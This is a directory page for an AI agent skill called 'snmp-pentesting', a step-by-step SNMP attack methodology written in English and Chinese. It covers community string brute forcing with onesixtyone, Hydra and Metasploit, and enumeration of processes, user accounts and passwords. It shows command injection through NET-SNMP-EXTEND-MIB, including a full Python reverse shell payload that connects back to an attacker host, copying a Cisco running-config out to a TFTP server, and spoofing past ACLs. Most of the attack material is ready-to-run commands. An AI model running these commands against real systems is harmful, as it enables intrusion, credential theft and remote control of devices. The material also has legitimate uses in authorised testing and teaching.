SuperAPI AI Directory

snmp-pentesting

Testing & quality

View repository

Updated 10-16 08:08

About this skill

SNMP Penetration Testing Methodology (161/162 UDP)

In-Depth Reference

  • Complete Guide to SNMP Enumeration and Exploitation Techniques (OID Table / Community String Brute Force / Cisco Configuration Extraction / RCE) -> Read references/snmp-techniques.md

Overall Decision Tree

发现 161/162 UDP 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ 确认 SNMP 服务存在及版本 (v1 / v2c / v3)
│   ├─ 识别设备类型 (路由器/交换机/打印机/服务器/IoT)
│   └─ 判断 SNMP 版本
│       ├─ v1/v2c -> 社区字符串认证,明文传输,进入 Phase 2 爆破
│       └─ v3 -> 用户名+密码认证,加密传输,尝试字典攻击
├─ Phase 2: 社区字符串枚举
│   ├─ 尝试默认字符串 (public / private / community)
│   │   ├─ 有响应 -> 记录有效字符串及权限级别 (RO/RW)
│   │   └─ 无响应 -> 字典爆破
│   ├─ 字典爆破 (onesixtyone / hydra / nmap snmp-brute)
│   └─ 判断权限
│       ├─ 只读 (RO) -> 进入 Phase 3 信息提取
│       └─ 读写 (RW) -> 标记用于 Phase 4 写入利用
├─ Phase 3: MIB 信息提取
│   ├─ 系统基本信息 (sysDescr / sysName / sysLocation / uptime)
│   ├─ 网络接口与 IP 地址 (含 IPv6)
│   ├─ 路由表
│   ├─ 运行进程 (可能含命令行参数中的密码)
│   ├─ 已安装软件
│   ├─ 用户账户
│   ├─ TCP/UDP 监听端口
│   └─ Cisco 设备 -> 提取 running-config (需 RW 权限)
├─ Phase 4: SNMP 写入利用
│   ├─ NET-SNMP-EXTEND-MIB 命令注入 (Linux)
│   │   ├─ 注入任意命令执行
│   │   └─ 反弹 Shell
│   ├─ Cisco 配置修改 (CISCO-CONFIG-COPY-MIB)
│   │   ├─ 下载 running-config 到 TFTP
│   │   └─ 上传修改后的配置
│   └─ SNMP 值修改 (NetScanTools / snmpset)
└─ Phase 5: 已知漏洞
    ├─ Cisco SNMP DoS (CVE-2025-20174)
    ├─ Cisco ACL 绕过 (CVE-2024-20373)
    └─ 设备特定漏洞 -> searchsploit / CVE 数据库

Phase 1: Service Discovery and Version Identification

1.1 Port Scanning and Service Probing

# UDP 端口扫描 — 发现 SNMP 服务
nmap -sU -p 161,162,10161,10162 <IP>

# 服务版本探测 + 默认脚本
nmap -sU -sV -sC -p 161 <IP>

# SNMP 专项 Nmap 脚本 (排除爆破)
nmap -sU --script "snmp* and not snmp-brute" -p 161 <IP>

1.2 SNMP Version Identification

识别 SNMP 版本
├─ snmp-check <IP> -p 161
│   └─ 输出中显示支持的 SNMP 版本
├─ Nmap 脚本输出中的 version 字段
├─ Metasploit: auxiliary/scanner/snmp/snmp_enum
│   └─ 自动检测版本并枚举信息
└─ 手动测试
    ├─ snmpwalk -v1 -c public <IP>    # 测试 v1
    ├─ snmpwalk -v2c -c public <IP>   # 测试 v2c
    └─ snmpwalk -v3 -l noAuthNoPriv -u <user> <IP>  # 测试 v3

Key Judgment:

  • v1/v2c -> Community strings transmitted in plaintext, can be sniffed, easy to brute force
  • v3 noAuthNoPriv -> No authentication, no encryption, equivalent to v1/v2c
  • v3 authNoPriv -> Authentication but no encryption, dictionary attack possible
  • v3 authPriv -> Authentication and encryption, hardest to attack

Phase 2: Community String Enumeration

2.1 Default String Testing

# 快速测试常见默认字符串
snmpwalk -v2c -c public <IP> 1.3.6.1.2.1.1.1.0
snmpwalk -v2c -c private <IP> 1.3.6.1.2.1.1.1.0
snmpwalk -v2c -c community <IP> 1.3.6.1.2.1.1.1.0

Judgment Logic: In v1/v2c, the server does not respond when an incorrect community string is used; a response indicates the string is valid.

2.2 Dictionary Brute Force

社区字符串爆破方法选择
├─ 快速批量扫描 (推荐首选)
│   └─ onesixtyone -c <wordlist> -i <targets_file>
│       └─ 字典: /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt
├─ Nmap 脚本
│   └─ nmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesdb=<wordlist> <IP>
├─ Hydra
│   └─ hydra -P <wordlist> -v <IP> snmp
└─ Metasploit
    └─ auxiliary/scanner/snmp/snmp_login
# onesixtyone — 高速社区字符串爆破
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt <IP> -w 100

# Hydra
hydra -P /usr/share/seclists/Discovery/SNMP/snmp.txt -v <IP> snmp

# Nmap
nmap -sU -p 161 --script snmp-brute <IP>

2.3 SNMPv3 User Enumeration and Authentication Attacks

# 枚举 v3 用户名
nmap -sU -p 161 --script snmp-win32-users <IP>

# v3 字典攻击 (Metasploit)
# auxiliary/scanner/snmp/snmp_login 支持 v3 认证模式

2.4 Permission Determination — RO vs RW

# 尝试写入测试 (向 sysLocation 写值)
snmpset -v2c -c <community> <IP> 1.3.6.1.2.1.1.6.0 s "test"

Response Judgment:

  • Write successful -> RW permission, mark to enter Phase 4
  • noSuchName / readOnly error -> RO permission
  • No response -> Invalid string or blocked by ACL

Phase 3: MIB Information Extraction

3.1 Environment Preparation

# 安装 MIB 解析库 (将 OID 数字转为可读名称)
apt-get install snmp-mibs-downloader
download-mibs
# 注释 /etc/snmp/snmp.conf 中的 "mibs :" 行

3.2 Full Information Enumeration

# snmpbulkwalk — 高效批量遍历 (v2c)
snmpbulkwalk -c <community> -v2c <IP> .

# snmpwalk — 完整遍历
snmpwalk -v2c -c <community> <IP> .1

# snmp-check — 一站式枚举 (自动分类输出)
snmp-check <IP> -p 161 -c <community>

# Nmap 枚举脚本
nmap -sU --script "snmp* and not snmp-brute" <IP> -p 161

# 扩展对象查询 (NET-SNMP 扩展命令输出)
snmpwalk -v2c -c <community> <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull

3.3 Targeted OID Queries — Windows Systems

Windows 关键 OID
├─ 系统进程数        1.3.6.1.2.1.25.1.6.0
├─ 运行程序名称      1.3.6.1.2.1.25.4.2.1.2
├─ 进程路径          1.3.6.1.2.1.25.4.2.1.4
├─ 存储单元          1.3.6.1.2.1.25.2.3.1.4
├─ 已安装软件        1.3.6.1.2.1.25.6.3.1.2
├─ 用户账户          1.3.6.1.4.1.77.1.2.25
└─ TCP 本地端口      1.3.6.1.2.1.6.13.1.3
# 枚举运行进程 (可能含命令行中的密码)
snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.25.4.2.1.2

# 枚举用户账户
snmpwalk -v2c -c <community> <IP> 1.3.6.1.4.1.77.1.2.25

# 枚举已安装软件
snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.25.6.3.1.2

# 枚举网络接口 (含 IPv6)
snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.4.34.1.3

# 枚举 TCP 监听端口
snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.6.13.1.3

3.4 Large-Scale SNMP Data Collection and Analysis

# braa — 高速批量 SNMP 查询 (自带 SNMP 栈,无依赖)
braa <community>@<IP>:.1.3.6.*

Data Analysis — Extracting Key Information from Bulk SNMP Output:

# 识别设备类型 (sysDescr)
grep ".1.3.6.1.2.1.1.1.0" *.snmp

# 查找私有社区字符串 (trap 数据中)
grep -i "trap" *.snmp

# 查找登录失败记录 (可能含误输为用户名的密码)
grep -i "login\|fail" *.snmp

# 提取邮箱地址
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp

3.5 Cisco Device-Specific Enumeration

Cisco 设备信息提取
├─ Metasploit snmp_enum
│   └─ use auxiliary/scanner/snmp/snmp_enum
│       设备清单 / VLAN / 接口描述 / ARP 表
├─ running-config 提取 (需 RW 社区字符串)
│   ├─ Nmap: nmap -sU -p161 --script snmp-ios-config --script-args creds.snmp=<rw_community> <IP>
│   └─ Metasploit: auxiliary/scanner/snmp/cisco_config_tftp
└─ 手动 snmpset 配置拷贝 -> 读 references/snmp-techniques.md #Cisco配置提取

Phase 4: SNMP Write Exploitation

4.1 Attack Path Selection

拥有 RW 社区字符串
├─ Linux 目标 (Net-SNMP)
│   ├─ NET-SNMP-EXTEND-MIB 命令注入
│   │   ├─ 注入任意命令
│   │   └─ 反弹 Shell
│   └─ 修改 SNMP 配置值
├─ Cisco / 网络设备
│   ├─ CISCO-CONFIG-COPY-MIB 配置提取
│   │   ├─ 下载 running-config 到 TFTP
│   │   ├─ 分析凭据 (enable secret / username)
│   │   └─ 上传修改后的配置 (慎用)
│   └─ 修改路由表 / ACL (极高风险)
└─ Windows 目标
    └─ 可修改部分 OID 值,影响有限
        └─ 侧重 Phase 3 的信息泄露利用

4.2 Linux — NET-SNMP-EXTEND-MIB Command Execution

# 注入自定义命令 (通过 nsExtendObjects 表)
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rw_community> <IP> \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

# 触发执行 — snmpwalk 读取时命令被执行 (run-on-read)
snmpwalk -v2c -c <rw_community> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects

4.3 Linux — SNMP Reverse Shell

获取 Shell 的两种方式
├─ snmp-shell 工具 (推荐)
│   └─ git clone https://github.com/mxrch/snmp-shell
│       └─ python3 shell.py <IP> -c <rw_community>
└─ 手动 reverse shell
    └─ 通过 snmpset 注入 Python/Bash 反弹 shell 命令
# 环境准备
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell && sudo python3 -m pip install -r requirements.txt

# 手动注入 Python 反弹 shell
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rw_community> <IP> \
'nsExtendStatus."revshell"' = createAndGo \
'nsExtendCommand."revshell"' = /usr/bin/python3 \
'nsExtendArgs."revshell"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"<LHOST>\",<LPORT>));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

# 触发执行
snmpwalk -v2c -c <rw_community> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects

4.4 Cisco — Configuration Extraction and Modification

# Nmap 自动提取 running-config
nmap -sU -p161 --script snmp-ios-config \
     --script-args creds.snmp=<rw_community> <IP>

# 手动 snmpset — 将 running-config 拷贝到 TFTP
snmpset -v2c -c <rw_community> <IP> \
  1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a <TFTP_SERVER_IP> \
  1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s "backup.cfg" \
  1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4

# Metasploit
# use auxiliary/scanner/snmp/cisco_config_tftp

Note: The snmpset row identifier (1234) is single-use; reusing it within 5 minutes returns inconsistentValue error.


Phase 5: Known Vulnerabilities

5.1 Vulnerability Detection Decision Tree

设备类型已知
├─ Cisco IOS/IOS-XE
│   ├─ CVE-2025-20174 — SNMP 子系统 DoS (认证后)
│   │   └─ 特制 SNMP 报文导致设备重载
│   ├─ CVE-2024-20373 — 扩展 ACL 处理缺陷
│   │   └─ 扩展命名 ACL 对 SNMP 访问控制失效
│   │       └─ 已知社区字符串/v3 用户可绕过 ACL 限制
│   └─ SNMPv3 地址限制绕过
│       └─ 有效 v3 用户可从受限地址查询
├─ 通用 Net-SNMP (Linux)
│   ├─ RW 社区字符串 -> Phase 4 命令注入
│   └─ 检查 snmpd.conf 中 rwuser noauth / rwcommunity 配置
├─ 通用搜索
│   ├─ searchsploit snmp
│   ├─ searchsploit <device_vendor> snmp
│   └─ nmap -sU --script "snmp-vuln*" -p 161 <IP>
└─ 默认配置审计
    └─ 检查配置文件中的危险设置
        ├─ rwuser noauth — 无认证即可完全访问 OID 树
        ├─ rwcommunity / rwcommunity6 — 任意来源可读写
        └─ 弱社区字符串 (public/private/community)

5.2 SNMP Configuration File Audit

After gaining access to the target, check the following configuration files:

  • snmp.conf
  • snmpd.conf
  • snmp-config.xml
危险配置项
├─ rwuser noauth        — 完全无认证访问
├─ rwcommunity <弱字符串> — 可被爆破的读写权限
├─ rwcommunity6         — IPv6 读写权限
├─ agentAddress udp:0.0.0.0:161 — 监听所有接口
└─ 无 ACL 限制          — 任意 IP 可查询

5.3 SNMP Spoofing

当存在 IP ACL 限制 SNMP 访问时
├─ SNMP 使用 UDP 协议,可进行源 IP 欺骗
├─ 伪造允许的源 IP 发送 SNMP 请求
└─ 嗅探响应包获取数据
    └─ 需要在网络路径上能够捕获返回流量

SNMP Configuration File Locations

Platform Configuration File Path
Linux (Net-SNMP) /etc/snmp/snmpd.conf
Linux (Net-SNMP) /etc/snmp/snmp.conf
Cisco IOS running-config (obtained via SNMP/CLI)
Windows Registry HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters
Generic snmp-config.xml

Metasploit Common Modules Quick Reference

Module Purpose
auxiliary/scanner/snmp/snmp_login Community String Brute Force (v1/v2c/v3)
auxiliary/scanner/snmp/snmp_enum SNMP Information Enumeration
auxiliary/scanner/snmp/snmp_enumusers User Enumeration
auxiliary/scanner/snmp/snmp_enumshares Share Enumeration
auxiliary/scanner/snmp/cisco_config_tftp Cisco Configuration Download
auxiliary/scanner/snmp/cisco_upload_file Cisco File Upload